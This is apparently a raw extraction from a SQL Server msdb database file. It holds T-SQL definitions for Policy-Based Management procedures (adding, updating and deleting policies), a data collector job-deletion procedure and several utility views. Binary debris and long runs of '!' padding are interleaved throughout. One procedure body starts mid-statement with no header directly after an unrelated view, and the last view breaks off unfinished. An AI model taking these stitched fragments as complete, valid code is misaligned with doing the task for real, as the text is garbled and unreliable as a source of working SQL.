!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`6+<hL4:0T< 68CREATE PROCEDURE [dbo].[sp_syspolicy_add_policy] 
@name sysname,
@condition_id int = NULL,
@condition_name sysname = NULL,
@schedule_uid uniqueidentifier = NULL,
@policy_category sysname = NULL,
@description nvarchar(max) = N'',
@help_text nvarchar(4000) = N'',
@help_link nvarchar(2083) = N'',
@execution_mode int,
@is_enabled bit = 0,
@root_condition_id int = NULL,
@root_condition_name sysname = NULL,
@object_set sysname = NULL,
@policy_id int = NULL OUTPUT
WITH EXECUTE AS OWNER
AS
BEGIN
    DECLARE @retval_check int;
    EXECUTE @retval_check = [dbo].[sp_syspolicy_check_membership] 'PolicyAdministratorRole'
    IF ( 0!= @retval_check)
    BEGIN
        RETURN @retval_check
    END

    DECLARE @retval         INT
    DECLARE @null_column    sysname
    
    SET @null_column = NULL

    IF (@name IS NULL OR @name = N'')
        SET @null_column = '@name'
    ELSE IF (@execution_mode IS NULL )
        SET @null_column = '@execution_mode'
    ELSE IF( @is_enabled IS NULL)
        SET @null_column = '@is_enabled'
    ELSE IF( @description IS NULL)
        SET @null_column = '@description'
    ELSE IF( @help_text IS NULL)
        SET @null_column = '@help_text'
    ELSE IF( @help_link IS NULL)
        SET @null_column = '@help_link'
    

    IF @null_column IS NOT NULL
    BEGIN
        RAISERROR(14043, -1, -1, @null_column, 'sp_syspolicy_add_policy')
        RETURN(1)
    END

    IF EXISTS (SELECT * FROM msdb.dbo.syspolicy_policies WHERE name = @name)
    BEGIN
        RAISERROR(34010, -1, -1, 'Policy', @name)
        RETURN(1)
    END

    SET @schedule_uid = ISNULL (@schedule_uid, '{00000000-0000-0000-0000-000000000000}')

    --Check for the execution mode value
    IF (@execution_mode NOT IN (0,1,2,4,5,6))
    BEGIN 
        RAISERROR(34004, -1, -1, @execution_mode)
        RETURN (1)
    END

    IF (@schedule_uid = '{00000000-0000-0000-0000-000000000000}' AND (@execution_mode & 4) = 4)
    BEGIN
        RAISERROR (34011, -1, -1, 'schedule_uid', 4)
        RETURN(1)
    END

    IF (@is_enabled = 1 AND @execution_mode = 0)
    BEGIN
        RAISERROR (34011, -1, -1, 'is_enabled', @execution_mode)
        RETURN(1)
    END

    -- Turn [nullable] empty string parameters into NULLs
    IF @condition_name = '' SELECT @condition_name = NULL
    IF @policy_category = ''   SELECT @policy_category = NULL
    IF @root_condition_name = '' SELECT @root_condition_name = NULL

    -- verify that the condition exists
    EXEC @retval = msdb.dbo.sp_syspolicy_verify_condition_identifiers @condition_name = @condition_name OUTPUT, @condition_id = @condition_id OUTPUT
    IF (@retval <> 0)
        RETURN(1)
        
    -- convert @object_set into id if needed
    DECLARE @object_set_id INT
    DECLARE @object_set_facet_id INT
    IF (@object_set IS NOT NULL)
    BEGIN
        SELECT @object_set_id = object_set_id FROM msdb.dbo.syspolicy_object_sets WHERE object_set_name = @object_set
        IF @object_set_id IS NULL
        BEGIN
            -- TODO: RAISERROR that specified object set doesn't exist
            RAISERROR(N'specified object set does not exists', -1, -1)
            RETURN(1) -- Failure
        END
        ELSE
        BEGIN
            SELECT @object_set_facet_id = facet_id FROM msdb.dbo.syspolicy_object_sets WHERE object_set_name = @object_set
            -- Ensure the object set has been created from the same facet that the policy condition has been created
            IF (@object_set_facet_id <> (SELECT facet_id FROM msdb.dbo.syspolicy_conditions_internal WHERE condition_id = @condition_id))
            BEGIN
                -- TODO: RAISEERROR that specified object_set isn't created from the facet that the policy condition has been created from
                RAISERROR(N'specified object set does not match facet the policy condition was created off', -1, -1)
                RETURN(1) -- Failure
            END
        END
    END

    IF (@root_condition_name IS NOT NULL) OR (@root_condition_id IS NOT NULL)
    BEGIN
        -- verify that the root condition exists
        EXEC @retval = msdb.dbo.sp_syspolicy_verify_condition_identifiers @condition_name = @root_condition_name OUTPUT, @condition_id = @root_condition_id OUTPUT
        IF (@retval <> 0)
            RETURN(1)
            
        -- Check execution mode for compatibility with root_condition
        IF (@execution_mode = 1) OR (@execution_mode = 2) -- Enforce or Check on Change
        BEGIN
            RAISERROR (34011, -1, -1, 'root_condition', @execution_mode)
            RETURN(1)
        END

    END

    -- verify schedule
    IF (@schedule_uid != '{00000000-0000-0000-0000-000000000000}')
    BEGIN
        IF NOT EXISTS (SELECT * FROM msdb.dbo.sysschedules WHERE schedule_uid = @schedule_uid)
        BEGIN
            RAISERROR(14365, -1, -1)
            RETURN(1) -- Failure
        END
    END

    -- convert group_name into id if needed
    DECLARE @policy_category_id INT
    IF ( (@policy_category IS NOT NULL) )
    BEGIN 
        IF NOT EXISTS (SELECT * from msdb.dbo.syspolicy_policy_categories WHERE name = @policy_category)
        BEGIN
            RAISERROR(34015, -1, -1,@policy_category)
            RETURN(1) -- Failure
        END
        ELSE
            SELECT @policy_category_id = policy_category_id FROM msdb.dbo.syspolicy_policy_categories WHERE name = @policy_category
    END
    
    INSERT INTO msdb.dbo.syspolicy_policies_internal
                                        (name, 
                                        execution_mode, 
                                        schedule_uid,
                                        policy_category_id,
                                        description,
                                        help_text,
                                        help_link,
                                        condition_id,
                                        root_condition_id,
                                        object_set_id,
                                        is_enabled)
    VALUES                            
                                        (@name, 
                                        @execution_mode, 
                                        @schedule_uid,
                                        @policy_category_id,
                                        @description,
                                        @help_text,
                                        @help_link,
                                        @condition_id,
                                        @root_condition_id,
                                        @object_set_id,
                                        @is_enabled)

    SELECT @retval = @@error
    SET @policy_id = SCOPE_IDENTITY()
    RETURN(@retval)
END
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`2,<RL6-0?r> C8
CREATE VIEW [dbo].[syscollector_execution_log] AS
    SELECT 
        log_id, 
        ISNULL(parent_log_id, 0) as parent_log_id, 
        collection_set_id, 
        collection_item_id,
        start_time,
        last_iteration_time,
        finish_time,
        runtime_execution_mode,
        [status],
        operator,
        package_id,
        msdb.dbo.fn_syscollector_get_package_path(package_id) as package_name,
        package_execution_id,
        failure_message
    FROM dbo.syscollector_execution_log_internal;
0^? D8YihZ080WE> 8CREATE VIEW dbo.sysutility_ucp_dac_policies AS
(    
    SELECT dp.dac_name
        , dp.dac_server_instance_name
        , dp.dac_urn
        , dp.powershell_path
        , ISNULL(lp.policy_id, dp.policy_id) AS policy_id -- if exists get local (overridden) policy, else return global policy 
        , ISNULL(lp.is_global_policy, 1) AS is_global_policy
        , dp.resource_type
        , dp.target_type
        , dp.utilization_type
    FROM 
        (
            -- fetch the global policies 
            SELECT dd.dac_name
                , dd.dac_server_instance_name 
                , dd.urn AS dac_urn
                , dd.powershell_path AS powershell_path
                , gp.policy_id
                , gp.resource_type
                , gp.target_type
                , gp.utilization_type
            FROM msdb.dbo.sysutility_ucp_deployed_dacs dd
                , msdb.dbo.sysutility_ucp_policies gp
            WHERE gp.rollup_object_type = 1  
                AND gp.is_global_policy = 1    
        ) dp
        LEFT JOIN msdb.dbo.sysutility_ucp_policies lp -- fetch the local policies (if exists)
        ON lp.rollup_object_urn = dp.dac_urn 
            AND lp.rollup_object_type = 1
            AND lp.is_global_policy = 0
            AND lp.resource_type = dp.resource_type
            AND lp.target_type = dp.target_type
            AND lp.utilization_type = dp.utilization_type
)
        -- object_set is being reset
            SELECT @object_set_id = NULL
        END

    DECLARE @retval              INT

    EXEC @retval = msdb.dbo.sp_syspolicy_verify_policy_identifiers @name, @policy_id OUTPUT
    IF (@retval <> 0)
        RETURN (1)

    SELECT  @execution_mode = ISNULL(@execution_mode, execution_mode),
            @is_enabled = ISNULL(@is_enabled, is_enabled) 
        FROM msdb.dbo.syspolicy_policies WHERE policy_id = @policy_id

    IF(@condition_id IS NOT NULL or @condition_name IS NOT NULL)
    BEGIN
        EXEC @retval = msdb.dbo.sp_syspolicy_verify_condition_identifiers @condition_name = @condition_name OUTPUT, @condition_id = @condition_id OUTPUT
        IF (@retval <> 0)
            RETURN (1)
    END

    IF((@root_condition_id IS NOT NULL and @root_condition_id != -1) or @root_condition_name IS NOT NULL)
    BEGIN
        IF (@root_condition_id = -1 and @root_condition_name IS NOT NULL)
            SET @root_condition_id = NULL
        EXEC @retval = msdb.dbo.sp_syspolicy_verify_condition_identifiers @condition_name = @root_condition_name OUTPUT, @condition_id = @root_condition_id OUTPUT
        IF (@retval <> 0)
            RETURN (1)
    END

    SET @schedule_uid = ISNULL (@schedule_uid, '{00000000-0000-0000-0000-000000000000}')

    IF (@schedule_uid = '{00000000-0000-0000-0000-000000000000}' AND (@execution_mode & 4) = 4)
    BEGIN
        RAISERROR (34011, -1, -1, 'schedule_uid', 4)
        RETURN(1)
    END

    IF (@is_enabled = 1 AND @execution_mode = 0)
    BEGIN
        RAISERROR (34011, -1, -1, 'is_enabled', @execution_mode)
        RETURN(1)
    END

    IF (@schedule_uid != '{00000000-0000-0000-0000-000000000000}')
    BEGIN
        -- verify the schedule exists
        IF NOT EXISTS (SELECT schedule_id FROM msdb.dbo.sysschedules WHERE schedule_uid = @schedule_uid)
        BEGIN
            RAISERROR (14365, -1, -1)
            RETURN(1)
        END
    END

    DECLARE @object_set_facet_id INT
    IF ((@object_set_id IS NOT NULL and @object_set_id != -1) or @object_set IS NOT NULL)
    BEGIN
        IF (@object_set_id = -1 and @object_set IS NOT NULL)
            SET @object_set_id = NULL
        EXEC @retval = msdb.dbo.sp_syspolicy_verify_object_set_identifiers @name = @object_set OUTPUT, @object_set_id = @object_set_id OUTPUT
        IF (@retval <> 0)
            RETURN (1)

        SELECT @object_set_facet_id = facet_id FROM msdb.dbo.syspolicy_object_sets WHERE object_set_name = @object_set
        -- Ensure the object set has been created from the same facet that the policy condition has been created
        IF (@object_set_facet_id <> (SELECT facet_id FROM msdb.dbo.syspolicy_conditions_internal WHERE condition_id = @condition_id))
        BEGIN
            -- TODO: RAISEERROR that specified object_set isn't created from the facet that the policy condition has been created from
            RAISERROR(N'specified object set does not match facet the policy condition was created off', -1, -1)
            RETURN(1) -- Failure
        END
    END

    DECLARE @policy_category_id INT
    SET @policy_category_id = NULL
    BEGIN TRANSACTION 

    DECLARE @old_policy_category_id INT
    SELECT @old_policy_category_id = policy_category_id 
        FROM syspolicy_policies 
        WHERE policy_id = @policy_id 

    IF ( (@policy_category IS NOT NULL and @policy_category != '') )
    BEGIN
        IF NOT EXISTS (SELECT * from syspolicy_policy_categories WHERE name = @policy_category)
        BEGIN
            RAISERROR(34015, -1, -1,@policy_category)
            RETURN(1) -- Failure
        END
        ELSE
            SELECT @policy_category_id = policy_category_id FROM msdb.dbo.syspolicy_policy_categories WHERE name = @policy_category
    END

        -- If the caller gave us an empty string for the
        -- @policy_category, then that means to remove the group.
    DECLARE @new_policy_category_id INT
        SELECT  @new_policy_category_id = @old_policy_category_id
    IF ( (@policy_category = '') )
                SELECT @new_policy_category_id = NULL
    ELSE IF (@policy_category_id IS NOT NULL)
                SELECT @new_policy_category_id = @policy_category_id

    UPDATE msdb.dbo.syspolicy_policies_internal
    SET 
        condition_id = ISNULL(@condition_id, condition_id),
        root_condition_id = CASE @root_condition_id WHEN -1 THEN root_condition_id ELSE @root_condition_id END,
        execution_mode = ISNULL(@execution_mode, execution_mode ),
        schedule_uid = @schedule_uid,
        policy_category_id = @new_policy_category_id, 
        description = ISNULL(@description, description),
        help_text = ISNULL(@help_text, help_text),
        help_link = ISNULL(@help_link, help_link),
        is_enabled = ISNULL(@is_enabled, is_enabled),
        object_set_id = CASE @object_set_id WHEN -1 THEN object_set_id ELSE @object_set_id END
    WHERE policy_id = @policy_id

    COMMIT TRANSACTION
    RETURN (0)
END
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`,H	</M ]N0DhF? 58([master_server]=(1))0cf? w
8CREATE PROCEDURE [dbo].[sp_syscollector_delete_jobs]
    @collection_job_id        uniqueidentifier,
    @upload_job_id            uniqueidentifier,
    @schedule_id            int = NULL,
    @collection_mode        smallint
AS
BEGIN
    -- delete the jobs corresponding to the collection set
    DECLARE @TranCounter INT
    SET @TranCounter = @@TRANCOUNT
    IF (@TranCounter > 0)
        SAVE TRANSACTION tran_syscollector_delete_jobs
    ELSE
        BEGIN TRANSACTION
    
    BEGIN TRY

    IF (@collection_mode = 1) -- non-cached mode
    BEGIN
        IF (@upload_job_id IS NOT NULL)
        BEGIN
            -- note, upload job id = collection job id in this mode
            IF (@schedule_id IS NOT NULL)
            BEGIN
                EXEC dbo.sp_detach_schedule
                    @job_id            = @upload_job_id, 
                    @schedule_id    = @schedule_id,
                    @delete_unused_schedule = 0
            END

            EXEC dbo.sp_delete_jobserver
                @job_id            = @upload_job_id,
                @server_name    = N'(local)'

            EXEC dbo.sp_delete_job 
                @job_id            = @upload_job_id
        END
    END
    ELSE -- cached mode
    BEGIN
        -- detach schedules, delete job servers, then delete jobs
        IF (@upload_job_id IS NOT NULL)
        BEGIN
            EXEC dbo.sp_detach_schedule
                @job_id            = @upload_job_id, 
                @schedule_id    = @schedule_id,
                @delete_unused_schedule = 0

            EXEC dbo.sp_delete_jobserver
                @job_id            = @upload_job_id,
                @server_name    = N'(local)'

            EXEC dbo.sp_delete_job 
                @job_id            = @upload_job_id
        END

        IF (@collection_job_id IS NOT NULL)
        BEGIN
            EXEC dbo.sp_detach_schedule
                @job_id            = @collection_job_id, 
                @schedule_name    = N'RunAsSQLAgentServiceStartSchedule',
                @delete_unused_schedule = 0

            EXEC dbo.sp_delete_jobserver
                @job_id            = @collection_job_id,
                @server_name    = N'(local)'

            EXEC dbo.sp_delete_job 
                @job_id            = @collection_job_id
        END
    END

    IF (@TranCounter = 0)
        COMMIT TRANSACTION
    RETURN (0)
    END TRY
    BEGIN CATCH
        IF (@TranCounter = 0 OR XACT_STATE() = -1)
            ROLLBACK TRANSACTION
        ELSE IF (XACT_STATE() = 1)
            ROLLBACK TRANSACTION tran_syscollector_delete_jobs

        DECLARE @ErrorMessage   NVARCHAR(4000);
        DECLARE @ErrorSeverity  INT;
        DECLARE @ErrorState     INT;
        DECLARE @ErrorNumber    INT;
        DECLARE @ErrorLine      INT;
        DECLARE @ErrorProcedure NVARCHAR(200);
        SELECT @ErrorLine = ERROR_LINE(),
               @ErrorSeverity = ERROR_SEVERITY(),
               @ErrorState = ERROR_STATE(),
               @ErrorNumber = ERROR_NUMBER(),
               @ErrorMessage = ERROR_MESSAGE(),
               @ErrorProcedure = ISNULL(ERROR_PROCEDURE(), '-');

        RAISERROR (14684, @ErrorSeverity, -1 , @ErrorNumber, @ErrorSeverity, @ErrorState, @ErrorProcedure, @ErrorLine, @ErrorMessage);
        
        RETURN (1)
    END CATCH
END
0)x? %8((1))0S@ D8(h9*0}:@ %8((1))0b@ +8(getdate())0}%@ t8CREATE PROCEDURE [dbo].[sp_syspolicy_delete_policy] 
@name sysname = NULL,
@policy_id int = NULL
WITH EXECUTE AS OWNER
AS
BEGIN
	DECLARE @retval_check int;
	EXECUTE @retval_check = [dbo].[sp_syspolicy_check_membership] 'PolicyAdministratorRole'
	IF ( 0!= @retval_check)
	BEGIN
		RETURN @retval_check
	END

	DECLARE @retval              INT

    EXEC @retval = sp_syspolicy_verify_policy_identifiers @name, @policy_id OUTPUT
    IF (@retval <> 0)
        RETURN (1)

    DELETE msdb.dbo.syspolicy_policies_internal 
        WHERE policy_id = @policy_id

    RETURN (0)
END
0i? }8CREATE VIEW dbo.sysutility_ucp_dac_policy_type AS
(    

    -- Target types
    -- computer_type = 1
    -- volume_type = 6

    -- Resource types
    -- processor_type = 3
    -- space_type = 1

    SELECT DISTINCT dd.dac_server_instance_name
	    , dd.dac_name
        , CASE WHEN ((0 < ip.is_policy_overridden) OR (0 < cp.is_policy_overridden)) THEN 1 ELSE 0 END AS is_policy_overridden
    FROM msdb.dbo.sysutility_ucp_deployed_dacs dd 
        , (SELECT dac_name, dac_server_instance_name, SUM(CASE WHEN 0 < is_global_policy THEN 0 ELSE 1 END) AS is_policy_overridden
           FROM msdb.dbo.sysutility_ucp_dac_policies 
           GROUP BY dac_name, dac_server_instance_name) ip 
